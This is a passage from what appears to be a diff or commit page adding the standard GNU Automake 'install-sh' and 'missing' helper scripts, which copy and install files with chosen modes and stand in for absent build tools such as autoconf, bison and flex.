# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC-
|
||||||
|
# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||||
|
#
|
||||||
|
# Except as contained in this notice, the name of the X Consortium shall not
|
||||||
|
# be used in advertising or otherwise to promote the sale, use or other deal-
|
||||||
|
# ings in this Software without prior written authorization from the X Consor-
|
||||||
|
# tium.
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# FSF changes to this file are in the public domain.
|
||||||
|
#
|
||||||
|
# Calling this script install-sh is preferred over install.sh, to prevent
|
||||||
|
# `make' implicit rules from creating a file called install from it
|
||||||
|
# when there is no Makefile.
|
||||||
|
#
|
||||||
|
# This script is compatible with the BSD install script, but was written
|
||||||
|
# from scratch.
|
||||||
|
|
||||||
|
nl='
|
||||||
|
'
|
||||||
|
IFS=" "" $nl"
|
||||||
|
|
||||||
|
# set DOITPROG to echo to test this script
|
||||||
|
|
||||||
|
# Don't use :- since 4.3BSD and earlier shells don't like it.
|
||||||
|
doit=${DOITPROG-}
|
||||||
|
if test -z "$doit"; then
|
||||||
|
doit_exec=exec
|
||||||
|
else
|
||||||
|
doit_exec=$doit
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Put in absolute file names if you don't have them in your path;
|
||||||
|
# or use environment vars.
|
||||||
|
|
||||||
|
chgrpprog=${CHGRPPROG-chgrp}
|
||||||
|
chmodprog=${CHMODPROG-chmod}
|
||||||
|
chownprog=${CHOWNPROG-chown}
|
||||||
|
cmpprog=${CMPPROG-cmp}
|
||||||
|
cpprog=${CPPROG-cp}
|
||||||
|
mkdirprog=${MKDIRPROG-mkdir}
|
||||||
|
mvprog=${MVPROG-mv}
|
||||||
|
rmprog=${RMPROG-rm}
|
||||||
|
stripprog=${STRIPPROG-strip}
|
||||||
|
|
||||||
|
posix_glob='?'
|
||||||
|
initialize_posix_glob='
|
||||||
|
test "$posix_glob" != "?" || {
|
||||||
|
if (set -f) 2>/dev/null; then
|
||||||
|
posix_glob=
|
||||||
|
else
|
||||||
|
posix_glob=:
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
'
|
||||||
|
|
||||||
|
posix_mkdir=
|
||||||
|
|
||||||
|
# Desired mode of installed file.
|
||||||
|
mode=0755
|
||||||
|
|
||||||
|
chgrpcmd=
|
||||||
|
chmodcmd=$chmodprog
|
||||||
|
chowncmd=
|
||||||
|
mvcmd=$mvprog
|
||||||
|
rmcmd="$rmprog -f"
|
||||||
|
stripcmd=
|
||||||
|
|
||||||
|
src=
|
||||||
|
dst=
|
||||||
|
dir_arg=
|
||||||
|
dst_arg=
|
||||||
|
|
||||||
|
copy_on_change=false
|
||||||
|
no_target_directory=
|
||||||
|
|
||||||
|
usage="\
|
||||||
|
Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE
|
||||||
|
or: $0 [OPTION]... SRCFILES... DIRECTORY
|
||||||
|
or: $0 [OPTION]... -t DIRECTORY SRCFILES...
|
||||||
|
or: $0 [OPTION]... -d DIRECTORIES...
|
||||||
|
|
||||||
|
In the 1st form, copy SRCFILE to DSTFILE.
|
||||||
|
In the 2nd and 3rd, copy all SRCFILES to DIRECTORY.
|
||||||
|
In the 4th, create DIRECTORIES.
|
||||||
|
|
||||||
|
Options:
|
||||||
|
--help display this help and exit.
|
||||||
|
--version display version info and exit.
|
||||||
|
|
||||||
|
-c (ignored)
|
||||||
|
-C install only if different (preserve the last data modification time)
|
||||||
|
-d create directories instead of installing files.
|
||||||
|
-g GROUP $chgrpprog installed files to GROUP.
|
||||||
|
-m MODE $chmodprog installed files to MODE.
|
||||||
|
-o USER $chownprog installed files to USER.
|
||||||
|
-s $stripprog installed files.
|
||||||
|
-t DIRECTORY install into DIRECTORY.
|
||||||
|
-T report an error if DSTFILE is a directory.
|
||||||
|
|
||||||
|
Environment variables override the default commands:
|
||||||
|
CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG
|
||||||
|
RMPROG STRIPPROG
|
||||||
|
"
|
||||||
|
|
||||||
|
while test $# -ne 0; do
|
||||||
|
case $1 in
|
||||||
|
-c) ;;
|
||||||
|
|
||||||
|
-C) copy_on_change=true;;
|
||||||
|
|
||||||
|
-d) dir_arg=true;;
|
||||||
|
|
||||||
|
-g) chgrpcmd="$chgrpprog $2"
|
||||||
|
shift;;
|
||||||
|
|
||||||
|
--help) echo "$usage"; exit $?;;
|
||||||
|
|
||||||
|
-m) mode=$2
|
||||||
|
case $mode in
|
||||||
|
*' '* | *' '* | *'
|
||||||
|
'* | *'*'* | *'?'* | *'['*)
|
||||||
|
echo "$0: invalid mode: $mode" >&2
|
||||||
|
exit 1;;
|
||||||
|
esac
|
||||||
|
shift;;
|
||||||
|
|
||||||
|
-o) chowncmd="$chownprog $2"
|
||||||
|
shift;;
|
||||||
|
|
||||||
|
-s) stripcmd=$stripprog;;
|
||||||
|
|
||||||
|
-t) dst_arg=$2
|
||||||
|
shift;;
|
||||||
|
|
||||||
|
-T) no_target_directory=true;;
|
||||||
|
|
||||||
|
--version) echo "$0 $scriptversion"; exit $?;;
|
||||||
|
|
||||||
|
--) shift
|
||||||
|
break;;
|
||||||
|
|
||||||
|
-*) echo "$0: invalid option: $1" >&2
|
||||||
|
exit 1;;
|
||||||
|
|
||||||
|
*) break;;
|
||||||
|
esac
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
|
||||||
|
if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then
|
||||||
|
# When -d is used, all remaining arguments are directories to create.
|
||||||
|
# When -t is used, the destination is already specified.
|
||||||
|
# Otherwise, the last argument is the destination. Remove it from $@.
|
||||||
|
for arg
|
||||||
|
do
|
||||||
|
if test -n "$dst_arg"; then
|
||||||
|
# $@ is not empty: it contains at least $arg.
|
||||||
|
set fnord "$@" "$dst_arg"
|
||||||
|
shift # fnord
|
||||||
|
fi
|
||||||
|
shift # arg
|
||||||
|
dst_arg=$arg
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
if test $# -eq 0; then
|
||||||
|
if test -z "$dir_arg"; then
|
||||||
|
echo "$0: no input file specified." >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
# It's OK to call `install-sh -d' without argument.
|
||||||
|
# This can happen when creating conditional directories.
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
if test -z "$dir_arg"; then
|
||||||
|
trap '(exit $?); exit' 1 2 13 15
|
||||||
|
|
||||||
|
# Set umask so as not to create temps with too-generous modes.
|
||||||
|
# However, 'strip' requires both read and write access to temps.
|
||||||
|
case $mode in
|
||||||
|
# Optimize common cases.
|
||||||
|
*644) cp_umask=133;;
|
||||||
|
*755) cp_umask=22;;
|
||||||
|
|
||||||
|
*[0-7])
|
||||||
|
if test -z "$stripcmd"; then
|
||||||
|
u_plus_rw=
|
||||||
|
else
|
||||||
|
u_plus_rw='% 200'
|
||||||
|
fi
|
||||||
|
cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;;
|
||||||
|
*)
|
||||||
|
if test -z "$stripcmd"; then
|
||||||
|
u_plus_rw=
|
||||||
|
else
|
||||||
|
u_plus_rw=,u+rw
|
||||||
|
fi
|
||||||
|
cp_umask=$mode$u_plus_rw;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
for src
|
||||||
|
do
|
||||||
|
# Protect names starting with `-'.
|
||||||
|
case $src in
|
||||||
|
-*) src=./$src;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
if test -n "$dir_arg"; then
|
||||||
|
dst=$src
|
||||||
|
dstdir=$dst
|
||||||
|
test -d "$dstdir"
|
||||||
|
dstdir_status=$?
|
||||||
|
else
|
||||||
|
|
||||||
|
# Waiting for this to be detected by the "$cpprog $src $dsttmp" command
|
||||||
|
# might cause directories to be created, which would be especially bad
|
||||||
|
# if $src (and thus $dsttmp) contains '*'.
|
||||||
|
if test ! -f "$src" && test ! -d "$src"; then
|
||||||
|
echo "$0: $src does not exist." >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if test -z "$dst_arg"; then
|
||||||
|
echo "$0: no destination specified." >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
dst=$dst_arg
|
||||||
|
# Protect names starting with `-'.
|
||||||
|
case $dst in
|
||||||
|
-*) dst=./$dst;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# If destination is a directory, append the input filename; won't work
|
||||||
|
# if double slashes aren't ignored.
|
||||||
|
if test -d "$dst"; then
|
||||||
|
if test -n "$no_target_directory"; then
|
||||||
|
echo "$0: $dst_arg: Is a directory" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
dstdir=$dst
|
||||||
|
dst=$dstdir/`basename "$src"`
|
||||||
|
dstdir_status=0
|
||||||
|
else
|
||||||
|
# Prefer dirname, but fall back on a substitute if dirname fails.
|
||||||
|
dstdir=`
|
||||||
|
(dirname "$dst") 2>/dev/null ||
|
||||||
|
expr X"$dst" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
|
||||||
|
X"$dst" : 'X\(//\)[^/]' \| \
|
||||||
|
X"$dst" : 'X\(//\)$' \| \
|
||||||
|
X"$dst" : 'X\(/\)' \| . 2>/dev/null ||
|
||||||
|
echo X"$dst" |
|
||||||
|
sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
|
||||||
|
s//\1/
|
||||||
|
q
|
||||||
|
}
|
||||||
|
/^X\(\/\/\)[^/].*/{
|
||||||
|
s//\1/
|
||||||
|
q
|
||||||
|
}
|
||||||
|
/^X\(\/\/\)$/{
|
||||||
|
s//\1/
|
||||||
|
q
|
||||||
|
}
|
||||||
|
/^X\(\/\).*/{
|
||||||
|
s//\1/
|
||||||
|
q
|
||||||
|
}
|
||||||
|
s/.*/./; q'
|
||||||
|
`
|
||||||
|
|
||||||
|
test -d "$dstdir"
|
||||||
|
dstdir_status=$?
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
obsolete_mkdir_used=false
|
||||||
|
|
||||||
|
if test $dstdir_status != 0; then
|
||||||
|
case $posix_mkdir in
|
||||||
|
'')
|
||||||
|
# Create intermediate dirs using mode 755 as modified by the umask.
|
||||||
|
# This is like FreeBSD 'install' as of 1997-10-28.
|
||||||
|
umask=`umask`
|
||||||
|
case $stripcmd.$umask in
|
||||||
|
# Optimize common cases.
|
||||||
|
*[2367][2367]) mkdir_umask=$umask;;
|
||||||
|
.*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;;
|
||||||
|
|
||||||
|
*[0-7])
|
||||||
|
mkdir_umask=`expr $umask + 22 \
|
||||||
|
- $umask % 100 % 40 + $umask % 20 \
|
||||||
|
- $umask % 10 % 4 + $umask % 2
|
||||||
|
`;;
|
||||||
|
*) mkdir_umask=$umask,go-w;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# With -d, create the new directory with the user-specified mode.
|
||||||
|
# Otherwise, rely on $mkdir_umask.
|
||||||
|
if test -n "$dir_arg"; then
|
||||||
|
mkdir_mode=-m$mode
|
||||||
|
else
|
||||||
|
mkdir_mode=
|
||||||
|
fi
|
||||||
|
|
||||||
|
posix_mkdir=false
|
||||||
|
case $umask in
|
||||||
|
*[123567][0-7][0-7])
|
||||||
|
# POSIX mkdir -p sets u+wx bits regardless of umask, which
|
||||||
|
# is incompatible with FreeBSD 'install' when (umask & 300) != 0.
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$
|
||||||
|
trap 'ret=$?; rmdir "$tmpdir/d" "$tmpdir" 2>/dev/null; exit $ret' 0
|
||||||
|
|
||||||
|
if (umask $mkdir_umask &&
|
||||||
|
exec $mkdirprog $mkdir_mode -p -- "$tmpdir/d") >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
if test -z "$dir_arg" || {
|
||||||
|
# Check for POSIX incompatibilities with -m.
|
||||||
|
# HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or
|
||||||
|
# other-writeable bit of parent directory when it shouldn't.
|
||||||
|
# FreeBSD 6.1 mkdir -m -p sets mode of existing directory.
|
||||||
|
ls_ld_tmpdir=`ls -ld "$tmpdir"`
|
||||||
|
case $ls_ld_tmpdir in
|
||||||
|
d????-?r-*) different_mode=700;;
|
||||||
|
d????-?--*) different_mode=755;;
|
||||||
|
*) false;;
|
||||||
|
esac &&
|
||||||
|
$mkdirprog -m$different_mode -p -- "$tmpdir" && {
|
||||||
|
ls_ld_tmpdir_1=`ls -ld "$tmpdir"`
|
||||||
|
test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
then posix_mkdir=:
|
||||||
|
fi
|
||||||
|
rmdir "$tmpdir/d" "$tmpdir"
|
||||||
|
else
|
||||||
|
# Remove any dirs left behind by ancient mkdir implementations.
|
||||||
|
rmdir ./$mkdir_mode ./-p ./-- 2>/dev/null
|
||||||
|
fi
|
||||||
|
trap '' 0;;
|
||||||
|
esac;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
if
|
||||||
|
$posix_mkdir && (
|
||||||
|
umask $mkdir_umask &&
|
||||||
|
$doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir"
|
||||||
|
)
|
||||||
|
then :
|
||||||
|
else
|
||||||
|
|
||||||
|
# The umask is ridiculous, or mkdir does not conform to POSIX,
|
||||||
|
# or it failed possibly due to a race condition. Create the
|
||||||
|
# directory the slow way, step by step, checking for races as we go.
|
||||||
|
|
||||||
|
case $dstdir in
|
||||||
|
/*) prefix='/';;
|
||||||
|
-*) prefix='./';;
|
||||||
|
*) prefix='';;
|
||||||
|
esac
|
||||||
|
|
||||||
|
eval "$initialize_posix_glob"
|
||||||
|
|
||||||
|
oIFS=$IFS
|
||||||
|
IFS=/
|
||||||
|
$posix_glob set -f
|
||||||
|
set fnord $dstdir
|
||||||
|
shift
|
||||||
|
$posix_glob set +f
|
||||||
|
IFS=$oIFS
|
||||||
|
|
||||||
|
prefixes=
|
||||||
|
|
||||||
|
for d
|
||||||
|
do
|
||||||
|
test -z "$d" && continue
|
||||||
|
|
||||||
|
prefix=$prefix$d
|
||||||
|
if test -d "$prefix"; then
|
||||||
|
prefixes=
|
||||||
|
else
|
||||||
|
if $posix_mkdir; then
|
||||||
|
(umask=$mkdir_umask &&
|
||||||
|
$doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break
|
||||||
|
# Don't fail if two instances are running concurrently.
|
||||||
|
test -d "$prefix" || exit 1
|
||||||
|
else
|
||||||
|
case $prefix in
|
||||||
|
*\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;;
|
||||||
|
*) qprefix=$prefix;;
|
||||||
|
esac
|
||||||
|
prefixes="$prefixes '$qprefix'"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
prefix=$prefix/
|
||||||
|
done
|
||||||
|
|
||||||
|
if test -n "$prefixes"; then
|
||||||
|
# Don't fail if two instances are running concurrently.
|
||||||
|
(umask $mkdir_umask &&
|
||||||
|
eval "\$doit_exec \$mkdirprog $prefixes") ||
|
||||||
|
test -d "$dstdir" || exit 1
|
||||||
|
obsolete_mkdir_used=true
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if test -n "$dir_arg"; then
|
||||||
|
{ test -z "$chowncmd" || $doit $chowncmd "$dst"; } &&
|
||||||
|
{ test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } &&
|
||||||
|
{ test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false ||
|
||||||
|
test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1
|
||||||
|
else
|
||||||
|
|
||||||
|
# Make a couple of temp file names in the proper directory.
|
||||||
|
dsttmp=$dstdir/_inst.$$_
|
||||||
|
rmtmp=$dstdir/_rm.$$_
|
||||||
|
|
||||||
|
# Trap to clean up those temp files at exit.
|
||||||
|
trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0
|
||||||
|
|
||||||
|
# Copy the file name to the temp name.
|
||||||
|
(umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") &&
|
||||||
|
|
||||||
|
# and set any options; do chmod last to preserve setuid bits.
|
||||||
|
#
|
||||||
|
# If any of these fail, we abort the whole thing. If we want to
|
||||||
|
# ignore errors from any of these, just make sure not to ignore
|
||||||
|
# errors from the above "$doit $cpprog $src $dsttmp" command.
|
||||||
|
#
|
||||||
|
{ test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } &&
|
||||||
|
{ test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } &&
|
||||||
|
{ test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } &&
|
||||||
|
{ test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } &&
|
||||||
|
|
||||||
|
# If -C, don't bother to copy if it wouldn't change the file.
|
||||||
|
if $copy_on_change &&
|
||||||
|
old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` &&
|
||||||
|
new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` &&
|
||||||
|
|
||||||
|
eval "$initialize_posix_glob" &&
|
||||||
|
$posix_glob set -f &&
|
||||||
|
set X $old && old=:$2:$4:$5:$6 &&
|
||||||
|
set X $new && new=:$2:$4:$5:$6 &&
|
||||||
|
$posix_glob set +f &&
|
||||||
|
|
||||||
|
test "$old" = "$new" &&
|
||||||
|
$cmpprog "$dst" "$dsttmp" >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
rm -f "$dsttmp"
|
||||||
|
else
|
||||||
|
# Rename the file to the real destination.
|
||||||
|
$doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null ||
|
||||||
|
|
||||||
|
# The rename failed, perhaps because mv can't rename something else
|
||||||
|
# to itself, or perhaps because mv is so ancient that it does not
|
||||||
|
# support -f.
|
||||||
|
{
|
||||||
|
# Now remove or move aside any old file at destination location.
|
||||||
|
# We try this two ways since rm can't unlink itself on some
|
||||||
|
# systems and the destination file might be busy for other
|
||||||
|
# reasons. In this case, the final cleanup might fail but the new
|
||||||
|
# file should still install successfully.
|
||||||
|
{
|
||||||
|
test ! -f "$dst" ||
|
||||||
|
$doit $rmcmd -f "$dst" 2>/dev/null ||
|
||||||
|
{ $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null &&
|
||||||
|
{ $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; }
|
||||||
|
} ||
|
||||||
|
{ echo "$0: cannot unlink or rename $dst" >&2
|
||||||
|
(exit 1); exit 1
|
||||||
|
}
|
||||||
|
} &&
|
||||||
|
|
||||||
|
# Now rename the file to the real destination.
|
||||||
|
$doit $mvcmd "$dsttmp" "$dst"
|
||||||
|
}
|
||||||
|
fi || exit 1
|
||||||
|
|
||||||
|
trap '' 0
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Local variables:
|
||||||
|
# eval: (add-hook 'write-file-hooks 'time-stamp)
|
||||||
|
# time-stamp-start: "scriptversion="
|
||||||
|
# time-stamp-format: "%:y-%02m-%02d.%02H"
|
||||||
|
# time-stamp-end: "$"
|
||||||
|
# End:
|
367
missing
Normal file
367
missing
Normal file
|
@ -0,0 +1,367 @@
|
||||||
|
#! /bin/sh
|
||||||
|
# Common stub for a few missing GNU programs while installing.
|
||||||
|
|
||||||
|
scriptversion=2006-05-10.23
|
||||||
|
|
||||||
|
# Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005, 2006
|
||||||
|
# Free Software Foundation, Inc.
|
||||||
|
# Originally by Fran,cois Pinard <pinard@iro.umontreal.ca>, 1996.
|
||||||
|
|
||||||
|
# This program is free software; you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation; either version 2, or (at your option)
|
||||||
|
# any later version.
|
||||||
|
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
|
||||||
|
# 02110-1301, USA.
|
||||||
|
|
||||||
|
# As a special exception to the GNU General Public License, if you
|
||||||
|
# distribute this file as part of a program that contains a
|
||||||
|
# configuration script generated by Autoconf, you may include it under
|
||||||
|
# the same distribution terms that you use for the rest of that program.
|
||||||
|
|
||||||
|
if test $# -eq 0; then
|
||||||
|
echo 1>&2 "Try \`$0 --help' for more information"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
run=:
|
||||||
|
sed_output='s/.* --output[ =]\([^ ]*\).*/\1/p'
|
||||||
|
sed_minuso='s/.* -o \([^ ]*\).*/\1/p'
|
||||||
|
|
||||||
|
# In the cases where this matters, `missing' is being run in the
|
||||||
|
# srcdir already.
|
||||||
|
if test -f configure.ac; then
|
||||||
|
configure_ac=configure.ac
|
||||||
|
else
|
||||||
|
configure_ac=configure.in
|
||||||
|
fi
|
||||||
|
|
||||||
|
msg="missing on your system"
|
||||||
|
|
||||||
|
case $1 in
|
||||||
|
--run)
|
||||||
|
# Try to run requested program, and just exit if it succeeds.
|
||||||
|
run=
|
||||||
|
shift
|
||||||
|
"$@" && exit 0
|
||||||
|
# Exit code 63 means version mismatch. This often happens
|
||||||
|
# when the user try to use an ancient version of a tool on
|
||||||
|
# a file that requires a minimum version. In this case we
|
||||||
|
# we should proceed has if the program had been absent, or
|
||||||
|
# if --run hadn't been passed.
|
||||||
|
if test $? = 63; then
|
||||||
|
run=:
|
||||||
|
msg="probably too old"
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
-h|--h|--he|--hel|--help)
|
||||||
|
echo "\
|
||||||
|
$0 [OPTION]... PROGRAM [ARGUMENT]...
|
||||||
|
|
||||||
|
Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an
|
||||||
|
error status if there is no known handling for PROGRAM.
|
||||||
|
|
||||||
|
Options:
|
||||||
|
-h, --help display this help and exit
|
||||||
|
-v, --version output version information and exit
|
||||||
|
--run try to run the given command, and emulate it if it fails
|
||||||
|
|
||||||
|
Supported PROGRAM values:
|
||||||
|
aclocal touch file \`aclocal.m4'
|
||||||
|
autoconf touch file \`configure'
|
||||||
|
autoheader touch file \`config.h.in'
|
||||||
|
autom4te touch the output file, or create a stub one
|
||||||
|
automake touch all \`Makefile.in' files
|
||||||
|
bison create \`y.tab.[ch]', if possible, from existing .[ch]
|
||||||
|
flex create \`lex.yy.c', if possible, from existing .c
|
||||||
|
help2man touch the output file
|
||||||
|
lex create \`lex.yy.c', if possible, from existing .c
|
||||||
|
makeinfo touch the output file
|
||||||
|
tar try tar, gnutar, gtar, then tar without non-portable flags
|
||||||
|
yacc create \`y.tab.[ch]', if possible, from existing .[ch]
|
||||||
|
|
||||||
|
Send bug reports to <bug-automake@gnu.org>."
|
||||||
|
exit $?
|
||||||
|
;;
|
||||||
|
|
||||||
|
-v|--v|--ve|--ver|--vers|--versi|--versio|--version)
|
||||||
|
echo "missing $scriptversion (GNU Automake)"
|
||||||
|
exit $?
|
||||||
|
;;
|
||||||
|
|
||||||
|
-*)
|
||||||
|
echo 1>&2 "$0: Unknown \`$1' option"
|
||||||
|
echo 1>&2 "Try \`$0 --help' for more information"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
|
||||||
|
esac
|
||||||
|
|
||||||
|
# Now exit if we have it, but it failed. Also exit now if we
|
||||||
|
# don't have it and --version was passed (most likely to detect
|
||||||
|
# the program).
|
||||||
|
case $1 in
|
||||||
|
lex|yacc)
|
||||||
|
# Not GNU programs, they don't have --version.
|
||||||
|
;;
|
||||||
|
|
||||||
|
tar)
|
||||||
|
if test -n "$run"; then
|
||||||
|
echo 1>&2 "ERROR: \`tar' requires --run"
|
||||||
|
exit 1
|
||||||
|
elif test "x$2" = "x--version" || test "x$2" = "x--help"; then
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
if test -z "$run" && ($1 --version) > /dev/null 2>&1; then
|
||||||
|
# We have it, but it failed.
|
||||||
|
exit 1
|
||||||
|
elif test "x$2" = "x--version" || test "x$2" = "x--help"; then
|
||||||
|
# Could not run --version or --help. This is probably someone
|
||||||
|
# running `$TOOL --version' or `$TOOL --help' to check whether
|
||||||
|
# $TOOL exists and not knowing $TOOL uses missing.
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# If it does not exist, or fails to run (possibly an outdated version),
|
||||||
|
# try to emulate it.
|
||||||
|
case $1 in
|
||||||
|
aclocal*)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is $msg. You should only need it if
|
||||||
|
you modified \`acinclude.m4' or \`${configure_ac}'. You might want
|
||||||
|
to install the \`Automake' and \`Perl' packages. Grab them from
|
||||||
|
any GNU archive site."
|
||||||
|
touch aclocal.m4
|
||||||
|
;;
|
||||||
|
|
||||||
|
autoconf)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is $msg. You should only need it if
|
||||||
|
you modified \`${configure_ac}'. You might want to install the
|
||||||
|
\`Autoconf' and \`GNU m4' packages. Grab them from any GNU
|
||||||
|
archive site."
|
||||||
|
touch configure
|
||||||
|
;;
|
||||||
|
|
||||||
|
autoheader)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is $msg. You should only need it if
|
||||||
|
you modified \`acconfig.h' or \`${configure_ac}'. You might want
|
||||||
|
to install the \`Autoconf' and \`GNU m4' packages. Grab them
|
||||||
|
from any GNU archive site."
|
||||||
|
files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}`
|
||||||
|
test -z "$files" && files="config.h"
|
||||||
|
touch_files=
|
||||||
|
for f in $files; do
|
||||||
|
case $f in
|
||||||
|
*:*) touch_files="$touch_files "`echo "$f" |
|
||||||
|
sed -e 's/^[^:]*://' -e 's/:.*//'`;;
|
||||||
|
*) touch_files="$touch_files $f.in";;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
touch $touch_files
|
||||||
|
;;
|
||||||
|
|
||||||
|
automake*)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is $msg. You should only need it if
|
||||||
|
you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'.
|
||||||
|
You might want to install the \`Automake' and \`Perl' packages.
|
||||||
|
Grab them from any GNU archive site."
|
||||||
|
find . -type f -name Makefile.am -print |
|
||||||
|
sed 's/\.am$/.in/' |
|
||||||
|
while read f; do touch "$f"; done
|
||||||
|
;;
|
||||||
|
|
||||||
|
autom4te)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is needed, but is $msg.
|
||||||
|
You might have modified some files without having the
|
||||||
|
proper tools for further handling them.
|
||||||
|
You can get \`$1' as part of \`Autoconf' from any GNU
|
||||||
|
archive site."
|
||||||
|
|
||||||
|
file=`echo "$*" | sed -n "$sed_output"`
|
||||||
|
test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
|
||||||
|
if test -f "$file"; then
|
||||||
|
touch $file
|
||||||
|
else
|
||||||
|
test -z "$file" || exec >$file
|
||||||
|
echo "#! /bin/sh"
|
||||||
|
echo "# Created by GNU Automake missing as a replacement of"
|
||||||
|
echo "# $ $@"
|
||||||
|
echo "exit 0"
|
||||||
|
chmod +x $file
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
bison|yacc)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' $msg. You should only need it if
|
||||||
|
you modified a \`.y' file. You may need the \`Bison' package
|
||||||
|
in order for those modifications to take effect. You can get
|
||||||
|
\`Bison' from any GNU archive site."
|
||||||
|
rm -f y.tab.c y.tab.h
|
||||||
|
if test $# -ne 1; then
|
||||||
|
eval LASTARG="\${$#}"
|
||||||
|
case $LASTARG in
|
||||||
|
*.y)
|
||||||
|
SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'`
|
||||||
|
if test -f "$SRCFILE"; then
|
||||||
|
cp "$SRCFILE" y.tab.c
|
||||||
|
fi
|
||||||
|
SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'`
|
||||||
|
if test -f "$SRCFILE"; then
|
||||||
|
cp "$SRCFILE" y.tab.h
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
if test ! -f y.tab.h; then
|
||||||
|
echo >y.tab.h
|
||||||
|
fi
|
||||||
|
if test ! -f y.tab.c; then
|
||||||
|
echo 'main() { return 0; }' >y.tab.c
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
lex|flex)
|
||||||
|
echo 1>&2 "\
|
||||||
|
WARNING: \`$1' is $msg. You should only need it if
|
||||||
|
you modified a \`.l' file. You may need the \`Flex' package
|
||||||
|
in order for those modifications to take effect. You can get
|
||||||
|
\`Flex' from any GNU archive site."
|
||||||
|
rm -f lex.yy.c
|
||||||
|
if test $# -ne 1; then
|
||||||
|
eval LASTARG="\${$#}"
|
||||||
|
case $LASTARG in
|
||||||
|
